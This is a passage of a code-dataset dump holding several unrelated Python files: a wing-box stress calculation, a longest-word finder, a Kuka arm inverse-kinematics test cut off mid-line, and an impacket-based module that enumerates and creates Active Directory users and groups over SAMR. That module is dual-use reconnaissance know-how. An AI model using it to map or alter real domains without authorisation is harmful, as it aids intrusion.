Q.append((q_list[w]+q_list[w+1])/2* 10**3 * l_a/(len(q_list)))\r\n\r\nx=np.linspace(0,l_a,100)\r\nfor i in range(len(x)):\r\n \r\n if i*l_a/len(x) < x_1:\r\n SZ.append(0)\r\n SY.append(Q[i])\r\n \r\n elif x_1 stringercoordinates[2,0]/C_a * len(zarray):\r\n B_z= A_st * sum(stringercoordinates[2:6,0]) *np.ones(5)\r\n B_y= A_st * sum(stringercoordinates[2:6,1])*np.ones(5)\r\n baseshear_upperdiag.extend(np.add([-SY[i]/I_zz *x for x in np.add(skinintegral_F(5,f1, previous_b, (j+1)/len(zarray)*diagonallength) , B_y)] , [- SZ[i]/I_yy *x for x in np.add(skinintegral_F(5,f2, previous_b, (j+1)/len(zarray)*diagonallength), B_z)]))\r\n previous_b = (j+1)/len(zarray)*diagonallength\r\n q_b_total_upperdiag_array = [baseshear_upperdiag[-1] *x for x in np.ones(5)]\r\n for k in range (len(yarray)):\r\n baseshear_spar_II.extend(np.add(np.add(q_b_total_upperdiag_array, [- SY[i]/I_zz * x for x in (skinintegral_F(5,f7, previous_d, (k+1)/len(yarray)*h))]) , [- SZ[i]/I_yy * x for x in (skinintegral_F(5,f8,previous_d, (k+1)/len(yarray)*h))]))\r\n previous_d = (k+1) *h/len(yarray)\r\n q_b_total_spar_array = [baseshear_spar_II[-1] *x for x in np.ones(5)]\r\n for l in range(len(zinversearray)):\r\n if l > stringercoordinates[9,0]/C_a*len(zinversearray) :\r\n B_z= 0* np.ones(5)\r\n B_y= 0* np.ones(5)\r\n if stringercoordinates[9,0]/C_a * len(zinversearray) > l > stringercoordinates[8,0]/C_a * len(zinversearray):\r\n B_z= A_st * sum(stringercoordinates[9:10,0]) * np.ones(5)\r\n B_y= A_st * sum(stringercoordinates[9:10:6,1]) *np.ones(5)\r\n if stringercoordinates[8,0]/C_a * len(zinversearray) > l > stringercoordinates[7,0]/C_a * len(zinversearray):\r\n B_z= A_st * sum(stringercoordinates[8:10,0]) *np.ones(5)\r\n B_y= A_st * sum(stringercoordinates[8:10,1])*np.ones(5)\r\n if stringercoordinates[7,0]/C_a * len(zinversearray) > l > stringercoordinates[6,0]/C_a * len(zinversearray):\r\n B_z= A_st * sum(stringercoordinates[7:10,0]) *np.ones(5)\r\n B_y= A_st * sum(stringercoordinates[7:10,1])*np.ones(5)\r\n if l< stringercoordinates[6,0]/C_a * len(zinversearray):\r\n B_z= A_st * sum(stringercoordinates[6:10,0]) *np.ones(5)\r\n B_y= A_st * sum(stringercoordinates[6:10,1])*np.ones(5)\r\n baseshear_lowerdiag.extend(np.add(np.add(q_b_total_spar_array, [-SY[i]/I_zz * x for x in np.add(skinintegral_F(5,f5, previous_f, (l+1)/len(zinversearray)*diagonallength), B_y)]) , [- SZ[i]/I_yy * x for x in np.add(skinintegral_F(5,f6,previous_f, (l+1)/len(zinversearray)*diagonallength),B_z)]))\r\n previous_f=(l+1)/len(zinversearray)*diagonallength\r\n q_b_total_lowerdiag_array = [baseshear_lowerdiag[-1] *x for x in np.ones(5)]\r\n#CELL I\r\n for m in range(len(zprimearray)):\r\n if m < stringercoordinates[1,0] /C_a *len(zprimearray) :\r\n B_z = 0*np.ones(5)\r\n B_y=0*np.ones(5)\r\n if stringercoordinates[1,0]/C_a *len(zprimearray) < m:\r\n B_z=stringercoordinates[1,0]*A_st*np.ones(5)\r\n B_y= stringercoordinates[1,1]*A_st*np.ones(5)\r\n baseshear_semicircle.extend(np.add([-SY[i]/I_zz*x for x in np.add(skinintegral_F(5,f3, previous_h, (m+1)/len(zprimearray) *h/4*np.pi ), B_y)], [-SZ[i]/I_yy*x for x in np.add(skinintegral_F(5,f4,previous_h,(m+1)/len(zprimearray)*h/4*np.pi),B_z)]))\r\n previous_h=(m+1)/len(zprimearray)*h/2*np.pi\r\n \r\n q_b_total_quartercircle_array= [baseshear_semicircle[-1] *x for x in np.ones(5)]\r\n for n in range(len(azarray)):\r\n if n > stringercoordinates[10,0]/C_a*len(azarray):\r\n B_z=stringercoordinates[0,0]*A_st\r\n B_y=stringercoordinates[0,1]*A_st\r\n if n< stringercoordinates[10,0]/C_a*len(azarray):\r\n B_z=np.ones(5)*A_st*(stringercoordinates[0,0]+stringercoordinates[10,0])\r\n B_y=np.ones(5)*A_st*(stringercoordinates[0,1]+stringercoordinates[10,1])\r\n baseshear_semicircle.extend(np.add(np.add([-SY[i]/I_zz *x for x in np.add(skinintegral_F(5,f3,previous_j, (n+1)/len(azarray)*h/4*np.pi + h/4*np.pi) , B_y)],[-SZ[i]/I_yy *x for x in np.add(skinintegral_F(5,f4, previous_j, (n+1)/len(azarray)*h/4*np.pi + np.pi *h/4) ,B_z)]),q_b_total_quartercircle_array ))\r\n previous_j=(m+1)/len(zprimearray)*h/4*np.pi+h/4*np.pi\r\n \r\n q_b_total_semicircle_array =[baseshear_semicircle[-1] *x for x in np.ones(5)]\r\n for o in range(len(yarray)):\r\n baseshear_spar_I.extend(np.add(np.add(q_b_total_semicircle_array,[-SY[i]/I_zz*x for x in (skinintegral_F(5,f9,previous_l,(o+1)/len(yarray)*h))]),[-SZ[i]/I_yy*x for x in skinintegral_F(5,f10,previous_l,(o+1)/len(yarray)*h)]))\r\n previous_l=(o+1)/len(yarray)*h\r\n q_b_total_spar_cell_I_array=[baseshear_spar_I[-1]*x for x in np.ones(5)]\r\n#now that the base shear flows are found we use 3 more equations with 3 unknowns to find the redundant shear flow\r\n#some constants that will be used in the 3x3 redundant shear flow matrix \r\n A= np.pi * (h/2)**2\r\n B= 2*h*(C_a-h/2)\r\n C=0\r\n for c in range(len(baseshear_semicircle)-1):\r\n C=C+ h/2 * (baseshear_semicircle[c] + baseshear_semicircle[c+1])/2 * (np.pi *h/2)/len(baseshear_semicircle) + h/2 * np.sin(phi) * (baseshear_upperdiag[c] + baseshear_upperdiag[c+1])/2 * diagonallength/len(baseshear_upperdiag) + h/2* np.sin(phi) * (baseshear_lowerdiag[c]+baseshear_lowerdiag[c+1])/2 * diagonallength/len(baseshear_lowerdiag)\r\n D=1/(2*A_I*G)\r\n E=0\r\n for e in range(len(baseshear_semicircle)-1):\r\n E=E+ (baseshear_semicircle[e] + baseshear_semicircle[e+1])/2/t_sk *h/2 /len(baseshear_semicircle)*np.pi\r\n F=0\r\n for f in range(len(baseshear_spar_II)-1):\r\n F=F+ ((baseshear_spar_I[f] + baseshear_spar_I[f+1])/2 - (baseshear_spar_II[f]+baseshear_spar_II[f+1])/2 )/t_sp /len(baseshear_spar_II) * h\r\n G=1/(2*A_II*G)\r\n H=0\r\n for h1 in range(len(baseshear_upperdiag)-1):\r\n H=H+ (baseshear_upperdiag[h1]+baseshear_upperdiag[h1+1])/2/t_sk/len(baseshear_upperdiag)* diagonallength\r\n I=0\r\n for i1 in range(len(baseshear_spar_I)-1):\r\n I=I+ ((baseshear_spar_II[i1] + baseshear_spar_II[i1+1])/2 - (baseshear_spar_I[i1]+baseshear_spar_I[i1+1])/2) /t_sp /len(baseshear_spar_I) * h\r\n J=0\r\n for j in range(len(baseshear_lowerdiag)-1):\r\n J=J+ (baseshear_lowerdiag[j] + baseshear_lowerdiag[j+1])/2 /t_sk/len(baseshear_lowerdiag) *diagonallength\r\n#solving the matrix\r\n M1=np.zeros([3,3])\r\n M2=np.zeros([3,1])\r\n M3=np.zeros([3,1])\r\n M1[0,0] = A\r\n M1[0,1] = B\r\n M1[0,2] = 0\r\n M1[1,0] = D*np.pi*h/2 / t_sk +D*h/t_sp\r\n M1[1,1] = -D*h\r\n M1[1,2] = -1\r\n M1[2,0] = -G*h/t_sp\r\n M1[2,1] = G*h/t_sp + 2* G*diagonallength/t_sk \r\n M1[2,2] = -1\r\n M3[0,0] = -C\r\n M3[1,0] = -D*E-D*F\r\n M3[2,0] = -G*(H+I+J)\r\n M2=np.linalg.solve(M1,M3)\r\n q_s_0_I = M2[0,0]\r\n q_s_0_II = M2[1,0]\r\n dtheta_dz = M2[2,0]\r\n\r\n \r\n#final shear flows with base shear flow and redundant shear flow lists\r\n q_semicircle=[]\r\n q_upperdiag=[]\r\n q_lowerdiag=[]\r\n q_spar_I=[]\r\n q_spar_II=[]\r\n q_spar=[]\r\n \r\n q_semicircle= np.add(baseshear_semicircle, np.ones(50) * q_s_0_I)\r\n q_upperdiag= np.add(baseshear_upperdiag, np.ones(50)* q_s_0_II)\r\n q_lowerdiag=np.add(baseshear_lowerdiag, np.ones(50)* q_s_0_II)\r\n q_spar_I= np.add(baseshear_spar_I, np.ones(50)* q_s_0_I)\r\n q_spar_II=np.add(baseshear_spar_II, np.ones(50)* q_s_0_II)\r\n q_spar= np.add(q_spar_I,[-1*x for x in q_spar_II])\r\n \r\n \r\n#shear centre from trailing edge\r\n \r\n \r\n SCM=0\r\n for c in range(len(q_semicircle)-1):\r\n SCM=SCM+ h/2 * (q_semicircle[c] + q_semicircle[c+1])/2 * (np.pi *h/2)/len(q_semicircle) + h/2 * np.sin(phi) * (q_upperdiag[c] + q_upperdiag[c+1])/2 * diagonallength/len(q_upperdiag) + h/2* np.sin(phi) * (q_lowerdiag[c]+q_lowerdiag[c+1])/2 * diagonallength/len(q_lowerdiag)\r\n z_sc=SCM/SY[10]\r\n\r\nSigma_x_upperdiag=[]\r\nSigma_x_lowerdiag=[]\r\nSigma_x_spar=[]\r\nSigma_x_semicircle=[]\r\nzprime=[]\r\nyprime=[]\r\nVM=[]\r\nq_full=[]\r\nSigma_x=[]\r\ndiag=np.linspace(0,diagonallength, 50)\r\nspar=np.linspace(0,h,50)\r\nquartercircle=np.linspace(np.pi/2,0,25)\r\nz1=np.linspace(0,C_a-h/2,50)\r\ny1=np.linspace(0,h/2,50)\r\nz2=np.ones(100)*C_a-h/2\r\ny2=np.linspace(-h/2,h/2,50)\r\ny3=np.linspace(-h/2,0,50)\r\nz3=np.linspace(C_a-h/2,0,50)\r\n\r\nzn0= np.linspace(C_a,h/2,50)\r\nyn0=np.linspace(0,h/2,50)\r\nyn1=np.linspace(h/2,-h/2,50)\r\nzn1=np.ones(50)*h/2\r\nzn2=np.linspace(h/2, C_a,50)\r\nyn2=np.linspace(-h/2,0,50)\r\nzn3=[]\r\nfor z in range(25):\r\n zn3.append( h/2- np.sin(z/25 * np.pi/2 )*h/2)\r\nyn3=[]\r\nfor w in range(25):\r\n yn3.append(np.cos(w/25*np.pi/2)*h/2)\r\nzn4=[]\r\nfor u in range(25):\r\n zn4.append(h/2-np.cos(u/25*np.pi/2)*h/2)\r\nyn4=[]\r\nfor v in range(25):\r\n yn4.append(-np.sin(v/25*np.pi/2)*h/2)\r\n#DIRECT STRESS\r\nfor i in range(1):\r\n for j in range(len(diag)):\r\n Sigma_x_upperdiag.append((M_z[i]*I_yy* y1[j] + M_y[i]*I_zz*z1[j])/(I_yy*I_zz))\r\n for k in range(len(diag)): \r\n Sigma_x_spar.append((M_z[i]*I_yy* y2[k] + M_y[i]*I_zz*z2[k])/(I_yy*I_zz))\r\n for l in range(len(diag)):\r\n Sigma_x_lowerdiag.append((M_z[i]*I_yy* y3[l] + M_y[i]*I_zz*z3[l])/(I_yy*I_zz))\r\n for m in range(len(quartercircle)):\r\n Sigma_x_semicircle.append(M_z[i]*I_yy* np.sin((len(quartercircle)-m)/len(quartercircle)* np.pi/2)*h/2 + M_y[i]*I_zz * (C_a + np.cos((len(quartercircle)-m)/len(quartercircle)*np.pi/2)*h/2))\r\n for n in range(len(quartercircle)):\r\n Sigma_x_semicircle.append(M_z[i]*I_yy* (-np.sin(n/len(quartercircle)*np.pi/2)*h/2 ) + M_y[i] *I_zz* (C_a + np.cos(n/len(quartercircle)*np.pi/2 *h/2 )))\r\n#VM STRESS\r\n for j in range(len(diag)):\r\n VM.append(np.sqrt((Sigma_x_upperdiag[j]**2)/2 +3*q_upperdiag[j]**2))\r\n q_full.append(q_upperdiag[j])\r\n Sigma_x.append(Sigma_x_upperdiag[j])\r\n zprime.append(zn0[j])\r\n yprime.append(yn0[j])\r\n for k in range(len(spar)): \r\n VM.append(np.sqrt((Sigma_x_spar[k]**2)/2 +3*q_spar[k]**2))\r\n zprime.append(zn1[k])\r\n yprime.append(yn1[k])\r\n q_full.append(q_spar[k])\r\n Sigma_x.append(Sigma_x_spar[k])\r\n for l in range(len(diag)):\r\n VM.append(np.sqrt((Sigma_x_lowerdiag[l]**2)/2 +3*q_lowerdiag[l]**2))\r\n q_full.append(q_lowerdiag[l])\r\n Sigma_x.append(Sigma_x_lowerdiag[l])\r\n zprime.append(zn2[l])\r\n yprime.append(yn2[l])\r\n\r\n for m in range(50):\r\n VM.append(np.sqrt((Sigma_x_semicircle[m]**2)/2 +3*q_semicircle[m]**2))\r\n q_full.append(q_semicircle[m])\r\n Sigma_x.append(Sigma_x_semicircle[m])\r\n for b in range(25):\r\n zprime.append(zn3[b])\r\n yprime.append(yn3[b])\r\n for s in range(25):\r\n zprime.append(zn4[s])\r\n yprime.append(yn4[s])\r\n \r\n \r\n\r\n\r\n'''\r\nm = plt.cm.ScalarMappable(cmap=plt.get_cmap(\"jet\"))\r\nm.set_array(np.array([np.min(VM), np.max(VM)]))\r\nplt.colorbar(m)\r\nplt.scatter(zprime,yprime,c=VM, vmin=np.min(VM), vmax=np.max(VM), s=5, cmap=\"jet\")\r\n'''\r\nm0 = plt.cm.ScalarMappable(cmap=plt.get_cmap(\"jet\"))\r\nm0.set_array(np.array([np.min(Sigma_x), np.max(Sigma_x)]))\r\nplt.colorbar(m0)\r\nplt.scatter(zprime,yprime,c=Sigma_x, vmin=np.min(Sigma_x), vmax=np.max(Sigma_x), s=5, cmap=\"jet\")\r\n'''\r\nm1 = plt.cm.ScalarMappable(cmap=plt.get_cmap(\"jet\"))\r\nm1.set_array(np.array([np.min(q_full), np.max(q_full)]))\r\nplt.colorbar(m1)\r\nplt.scatter(zprime,yprime,c=q_full, vmin=np.min(q_full), vmax=np.max(q_full), s=5, cmap=\"jet\")\r\n'''\r\nplt.show()\r\n\r\nprint(q_s_0_I)\r\nprint(q_s_0_II) \r\nprint(z_sc)","sub_path":"STRESSES.py","file_name":"STRESSES.py","file_ext":"py","file_size_in_byte":20889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"251341086","text":"# -*- coding: utf-8 -*-\n\"\"\"Script for finding out the longest string in a text file. Will print the\nlongest string, number of characters and line number.\n\nAuthor: Üllar Seerme\n\"\"\"\n\ntry:\n loc = input(\"Enter location of text file: \")\n fh = open(loc, \"r\")\nexcept IOError as err:\n print(\"Error in opening the file:\", err)\nelse:\n var = 0\n lon = \"\"\n line_no = 0\n j = 0\n for line in fh.readlines():\n line_no += 1\n words = line.split()\n for word in words:\n if len(word) > var:\n var = len(word)\n lon = word\n j = line_no\n print(\"Longest string was \\\"%s\\\" with %s characters on line %s.\" % (lon, var, j))","sub_path":"Python/longest_string.py","file_name":"longest_string.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"490015339","text":"from abc import ABC\nfrom collections import namedtuple\nfrom contextlib import contextmanager\n\nfrom impacket.dcerpc.v5 import samr\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.nt_errors import STATUS_MORE_ENTRIES\nfrom impacket.smb import MAXIMUM_ALLOWED, STATUS_SUCCESS\n\nfrom general_tools import create_logger_with_prefix\n\n\nclass Target(namedtuple(\"CymptomTarget\",\n \"\"\"\n domain\n username\n password\n address\n lmhash\n nthash\n options\n \"\"\")):\n \"\"\"\n A class representing the targetted domain for the connection.\n \"\"\"\n pass\n\n\nclass ADEntry(ABC):\n \"\"\"\n Base class for any Active Directory Entry.\n Deals with creation of new entries and listing entries.\n\n To inherite, simply replace the Abstract functions constants\n with the relevant ones from impacket.dcerpc.v{version}.samr package.\n \"\"\"\n HANDLE = 'ABSTRACT'\n INFO_CLASS = 'ABSTRACT'\n INFO_LOCATION_IN_BUFFER = 'General'\n ID_LOCATION = 'RelativeId'\n\n # Abstract functions\n CREATE_FUNC = None\n OPEN_FUNC = None\n PROCESS_INFO_FUNC = None\n ENUMERATE_FUNC = None\n\n def __init__(self, name=None, uid=None, entry_info=None, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.name = name\n self.uid = uid\n self.entry_info = entry_info\n\n @classmethod\n @contextmanager\n def _process_raw_entry_info(cls, connection, entry_raw_info):\n \"\"\"\n This context manager will automatically handle opening and closing Active Directory handles from impacket,\n when trying to extract information regarding the entry.\n :param connection: (dce, domain_handle)\n :param entry_raw_info: entry inforamtion as received from impacket samr buffer.\n \"\"\"\n entry_resp = cls.OPEN_FUNC(*connection, MAXIMUM_ALLOWED, entry_raw_info[cls.ID_LOCATION])\n entry_handle = entry_resp[cls.HANDLE]\n dce = connection[0]\n entry_info = cls.PROCESS_INFO_FUNC(dce, entry_handle)\n try:\n yield entry_info\n finally:\n samr.hSamrCloseHandle(dce, entry_handle)\n\n @classmethod\n def create(cls, connection, name=None, entry_raw_info=None):\n \"\"\"\n :param connection: (dce, domain_handle)\n :param name: entry name\n :param entry_raw_info: entry inforamtion as received from impacket samr buffer.\n :return: object representing the created entry\n :rtype: ADEntry\n \"\"\"\n if all(v is not None for v in [name, entry_raw_info]):\n raise RuntimeError(\"Create can work on either name or entry_raw_info, but not both!\")\n\n if all(v is None for v in [name, entry_raw_info]):\n raise RuntimeError(\"Create must receive either name or entry_raw_info to create an AD entry!\")\n\n if entry_raw_info is not None:\n return cls._create_entry_from_raw_info(connection, entry_raw_info)\n\n return cls._create_entry_from_name(connection, name)\n\n @classmethod\n def _create_entry_from_name(cls, connection, name):\n create_resp = cls.CREATE_FUNC(*connection, name)\n uid = create_resp[cls.ID_LOCATION]\n entry_obj = cls(name, uid, None)\n\n return entry_obj\n\n @classmethod\n def _create_entry_from_raw_info(cls, connection, entry_raw_info):\n name = entry_raw_info[\"Name\"]\n uid = entry_raw_info[\"RelativeId\"]\n with cls._process_raw_entry_info(connection, entry_raw_info) as entry_info:\n entry_obj = cls(name, uid, entry_info[\"Buffer\"][cls.INFO_LOCATION_IN_BUFFER])\n\n return entry_obj\n\n @classmethod\n def list_all(cls, connection):\n \"\"\"\n List all entries of the used class type.\n :param connection: (dce, domain_handle)\n :return: entries_list of the used class type\n \"\"\"\n entries_list = []\n page = 1\n logger = create_logger_with_prefix(cls.__name__)\n\n status = STATUS_MORE_ENTRIES\n while status == STATUS_MORE_ENTRIES:\n try:\n resp = cls.ENUMERATE_FUNC(*connection)\n except DCERPCException as e:\n if str(e).find(\"STATUS_MORE_ENTRIES\") < 0:\n raise\n resp = e.get_packet()\n\n entries_raw_info = resp[\"Buffer\"][\"Buffer\"]\n page_entries = [cls.create(connection, entry_raw_info=entry_raw_info) for entry_raw_info in\n entries_raw_info]\n\n logger.debug(f\"Found {len(page_entries)} AD entries of type {cls.__name__} in page {page}\")\n page += 1\n\n entries_list.extend(page_entries)\n\n try:\n status = resp['ErrorCode']\n except KeyError as err:\n error_msg = f\"Received error on page {page}, while listing entries of type {cls.__name__}. \"\n error_msg += f\"AD Error message: {str(err)}\"\n raise RuntimeError(error_msg)\n\n if status != STATUS_SUCCESS:\n raise ConnectionError(\n f\"Received status {status} on page {page} while listing entries of type {cls.__name__}\")\n\n return entries_list\n\n\nclass User(ADEntry):\n \"\"\"\n Class representing User entries in Active Directory Service.\n It acts as an API between impacket user and Active Directory User entry.\n \"\"\"\n HANDLE = 'UserHandle'\n INFO_CLASS = samr.USER_INFORMATION_CLASS.UserAllInformation\n\n CREATE_FUNC = samr.hSamrCreateUser2InDomain\n OPEN_FUNC = samr.hSamrOpenUser\n PROCESS_INFO_FUNC = samr.hSamrQueryInformationUser2\n ENUMERATE_FUNC = samr.hSamrEnumerateUsersInDomain\n\n\nclass Group(ADEntry):\n \"\"\"\n Class representing Group entries in Active Directory Service.\n It acts as an API between impacket group and Active Directory group entry.\n \"\"\"\n HANDLE = 'GroupHandle'\n INFO_CLASS = 'ABSTRACT'\n\n CREATE_FUNC = samr.hSamrCreateGroupInDomain\n OPEN_FUNC = samr.hSamrOpenGroup\n PROCESS_INFO_FUNC = samr.hSamrQueryInformationGroup\n ENUMERATE_FUNC = samr.hSamrEnumerateGroupsInDomain\n","sub_path":"AD_Objects.py","file_name":"AD_Objects.py","file_ext":"py","file_size_in_byte":6223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"216801329","text":"from sympy import *\nfrom time import time\nfrom mpmath import radians\nimport tf\n\n'''\nFormat of test case is [ [[EE position],[EE orientation as quaternions]],[WC location],[joint angles]]\nYou can generate additional test cases by setting up your kuka project and running `$ roslaunch kuka_arm forward_kinematics.launch`\nFrom here you can adjust the joint angles to find thetas, use the gripper to extract positions and orientation (in quaternion xyzw) and lastly use link 5\nto find the position of the wrist center. These newly generated test cases can be added to the test_cases dictionary.\n'''\n\ntest_cases = {1:[[[2.16135,-1.42635,1.55109],\n [0.708611,0.186356,-0.157931,0.661967]],\n [1.89451,-1.44302,1.69366],\n [-0.65,0.45,-0.36,0.95,0.79,0.49]],\n 2:[[[-0.56754,0.93663,3.0038],\n [0.62073, 0.48318,0.38759,0.480629]],\n [-0.638,0.64198,2.9988],\n [-0.79,-0.11,-2.33,1.94,1.14,-3.68]],\n 3:[[[-1.3863,0.02074,0.90986],\n [0.01735,-0.2179,0.9025,0.371016]],\n [-1.1669,-0.17989,0.85137],\n [-2.99,-0.12,0.94,4.06,1.29,-4.12]],\n 4:[],\n 5:[]}\n\n\ndef test_code(test_case):\n ## Set up code\n ## Do not modify!\n x = 0\n class Position:\n def __init__(self,EE_pos):\n self.x = EE_pos[0]\n self.y = EE_pos[1]\n self.z = EE_pos[2]\n class Orientation:\n def __init__(self,EE_ori):\n self.x = EE_ori[0]\n self.y = EE_ori[1]\n self.z = EE_ori[2]\n self.w = EE_ori[3]\n\n position = Position(test_case[0][0])\n orientation = Orientation(test_case[0][1])\n\n class Combine:\n def __init__(self,position,orientation):\n self.position = position\n self.orientation = orientation\n\n comb = Combine(position,orientation)\n\n class Pose:\n def __init__(self,comb):\n self.poses = [comb]\n\n req = Pose(comb)\n start_time = time()\n \n ########################################################################################\n ## \n\n ## Insert IK code here!\n\n\n # Create Modified DH parameters\n d1, d2, d3, d4, d5, d6, d7 = symbols('d1:8') #link offsets\n a0, a1, a2, a3, a4, a5, a6 = symbols('a0:7') #link lengths\n alpha0, alpha1, alpha2, alpha3, alpha4, alpha5, alpha6 = symbols('alpha0:7') #twist angle\n\n # Joint angle symbols\n q1, q2, q3, q4, q5, q6, q7 = symbols('q1:8') #theta_i\n\n ###Kuka KR210###\n #DH Parameters\n DH = {alpha0: 0, a0: 0, d1: 0.75,\n alpha1: -pi/2, a1: 0.35, d2: 0, q2: q2-pi/2,\n alpha2: 0, a2: 1.25, d3: 0,\n alpha3: -pi/2, a3: -0.054, d4: 1.50,\n alpha4: pi/2, a4: 0, d5: 0,\n alpha5: -pi/2, a5: 0, d6: 0,\n alpha6: 0, a6: 0, d7: 0.303, q7: 0}\n #DH test parameters\n # DH_test = {alpha0: 0, a0: 0, d1: 0.75, q1:0,\n # alpha1: 0, a1: 0.35, d2: 0, q2: q2-pi/2,\n # alpha2: 0, a2: 1.25, d3: 0, q3: 0,\n # alpha3: -pi/2, a3: -0.054, d4: 1.50, q4: 0,\n # alpha4: pi/2, a4: 0, d5: 0, q5: 0,\n # alpha5: -pi/2, a5: 0, d6: 0, q6: 0,\n # alpha6: 0, a6: 0, d7: 0.303, q7: 0}\n\n #\n # Define Modified DH Transformation matrix function\n def Trans_Matrix(alpha, a, d, q):\n TF = Matrix([[cos(q), -sin(q), 0, a],\n [sin(q)*cos(alpha), cos(q)*cos(alpha), -sin(alpha), -sin(alpha)*d],\n [sin(q)*sin(alpha), cos(q)*sin(alpha), cos(alpha), cos(alpha)*d],\n [0, 0, 0, 1]])\n return TF\n\n #\n # Create individual transformation matrices\n T0_1 = Trans_Matrix(alpha0, a0, d1, q1).subs(DH)\n T1_2 = Trans_Matrix(alpha1, a1, d2, q2).subs(DH)\n T2_3 = Trans_Matrix(alpha2, a2, d3, q3).subs(DH)\n T3_4 = Trans_Matrix(alpha3, a3, d4, q4).subs(DH)\n T4_5 = Trans_Matrix(alpha4, a4, d5, q5).subs(DH)\n T5_6 = Trans_Matrix(alpha5, a5, d6, q6).subs(DH)\n T6_EE = Trans_Matrix(alpha6, a6, d7, q7).subs(DH)\n\n T0_EE = simplify(T0_1 * T1_2 * T2_3 * T3_4 * T4_5 * T5_6 * T6_EE)\n\n\n\n #IK CODE================================================\n # Extract rotation matrices from the transformation matrices\n # End effector positions:\n px = req.poses[x].position.x\n py = req.poses[x].position.y\n pz = req.poses[x].position.z\n\n #Set Roll Pitch and Yaw to end-effector postion\n (roll, pitch, yaw) = tf.transformations.euler_from_quaternion(\n [req.poses[x].orientation.x, req.poses[x].orientation.y,\n req.poses[x].orientation.z, req.poses[x].orientation.w])\n\n # Create Rotation Matrices\n\n #Variables for Rotation Matrix\n r, p, y = symbols('r p y')\n\n Roll_rot = Matrix([[ 1, 0, 0],\n [ 0, cos(r), -sin(r)],\n [ 0, sin(r), cos(r)]])\n\n Pitch_rot = Matrix([[ cos(p), 0, sin(p)],\n [ 0, 1, 0],\n [-sin(p), 0, cos(p)]])\n\n Yaw_rot = Matrix([[ cos(y), -sin(y), 0],\n [ sin(y), cos(y), 0],\n [ 0, 0, 1]])\n\n EE_rot = Yaw_rot * Pitch_rot * Roll_rot\n\n #Numerically Evaluate transforms to compare with tf_echo\n # print(\"T0_1 = \",T0_1 = Trans_Matrix(alpha0, a0, d1, q1).subs(DH_test))\n # print(\"T1_2 = \",T1_2 = Trans_Matrix(alpha1, a1, d2, q2).subs(DH_test))\n # print(\"T2_3 = \",T2_3 = Trans_Matrix(alpha2, a2, d3, q3).subs(DH_test))\n # print(\"T3_4 = \",T3_4 = Trans_Matrix(alpha3, a3, d5, q4).subs(DH_test))\n # print(\"T4_5 = \",T4_5 = Trans_Matrix(alpha4, a4, d5, q5).subs(DH_test))\n # print(\"T5_6 = \",T5_6 = Trans_Matrix(alpha5, a5, d6, q6).subs(DH_test))\n # print(\"T6_G = \",T6_G = Trans_Matrix(alpha6, a6, d7, q7).subs(DH_test))\n\n # Compensate for rotation discrepancy between DH parameters and Gazebo\n # calculate error between urdf and dh\n #rotate 180 degrees around z\n R_z = Yaw_rot.subs(y, radians(180))\n #Rotate 90 degrees around y\n R_y = Pitch_rot.subs(p, radians(-90))\n\n R_error = simplify(R_z * R_y)\n\n EE_rot = EE_rot * R_error\n\n EE_rot = EE_rot.subs({'r': roll, 'p': pitch, 'y': yaw})\n\n\n # Wrist center calculation\n WC = Matrix([px, py, pz]) - (0.303) * EE_rot[:,2]\n\n\n # Calculate joint angles using Geometric IK method\n theta1 = atan2(WC[1],WC[0])\n WC_average = WC[0] * WC[0] + WC[1] * WC[1]\n # SSS triangle\n side_a = 1.501\n side_b = sqrt(pow((sqrt(WC_average) - DH[a1]), 2) + pow((WC[2] - DH[d1]), 2))\n side_c = 1.25\n\n angle_a = acos((side_b * side_b + side_c * side_c - side_a * side_a) / (2 * side_b * side_c))\n angle_b = acos((side_a * side_a + side_c * side_c - side_b * side_b) / (2 * side_a * side_c))\n #angle_c = acos((side_a * side_a + side_b * side_b - side_c * side_c) / (2 * side_a * side_b))\n angle_d = atan2(WC[2] - DH[d1], sqrt(WC_average) - DH[a1])\n\n theta2 = pi/2 - angle_a - angle_d\n theta3 = pi/2 - (angle_b + 0.036) #-0.054m sag in link 4\n Rot_03 = T0_1[0:3,0:3] * T1_2[0:3,0:3] * T2_3[0:3,0:3]\n Rot_03 = Rot_03.evalf(subs={q1: theta1, q2: theta2, q3: theta3})\n Rot_36 = Rot_03.inv(\"LU\") * EE_rot\n\n #Euler Angles from Rotation Matrix\n theta4 = atan2(Rot_36[2,2], -Rot_36[0,2])\n theta5 = atan2(sqrt(Rot_36[0,2]*Rot_36[0,2] + Rot_36[2,2]*Rot_36[2,2]),Rot_36[1,2])\n theta6 = atan2(-Rot_36[1,1], Rot_36[1,0])\n\n\n\n ## \n ########################################################################################\n \n ########################################################################################\n ## For additional debugging add your forward kinematics here. Use your previously calculated thetas\n ## as the input and output the position of your end effector as your_ee = [x,y,z]\n\n ## (OPTIONAL) YOUR CODE HERE!\n FK = T0_EE.evalf(subs={\"q1\":theta1, \"q2\":theta2, \"q3\":theta3, \"q4\":theta4, \"q5\":theta5, \"q6\":theta6})\n ## End your code input for forward kinematics here!\n ########################################################################################\n\n ## For error analysis please set the following variables of your WC location and EE location in the format of [x,y,z]\n your_wc = [WC[0], WC[1], WC[2]] # <--- Load your calculated WC values in this array\n your_ee = FK[:3, 3] # <--- Load your calculated end effector value from your forward kinematics\n ########################################################################################\n\n ## Error analysis\n print (\"\\nTotal run time to calculate joint angles from pose is %04.4f seconds\" % (time()-start_time))\n\n # Find WC error\n if not(sum(your_wc)==3):\n wc_x_e = abs(your_wc[0]-test_case[1][0])\n wc_y_e = abs(your_wc[1]-test_case[1][1])\n wc_z_e = abs(your_wc[2]-test_case[1][2])\n wc_offset = sqrt(wc_x_e**2 + wc_y_e**2 + wc_z_e**2)\n print (\"\\nWrist error for x position is: %04.8f\" % wc_x_e)\n print (\"Wrist error for y position is: %04.8f\" % wc_y_e)\n print (\"Wrist error for z position is: %04.8f\" % wc_z_e)\n print (\"Overall wrist offset is: %04.8f units\" % wc_offset)\n\n # Find theta errors\n t_1_e = abs(theta1-test_case[2][0])\n t_2_e = abs(theta2-test_case[2][1])\n t_3_e = abs(theta3-test_case[2][2])\n t_4_e = abs(theta4-test_case[2][3])\n t_5_e = 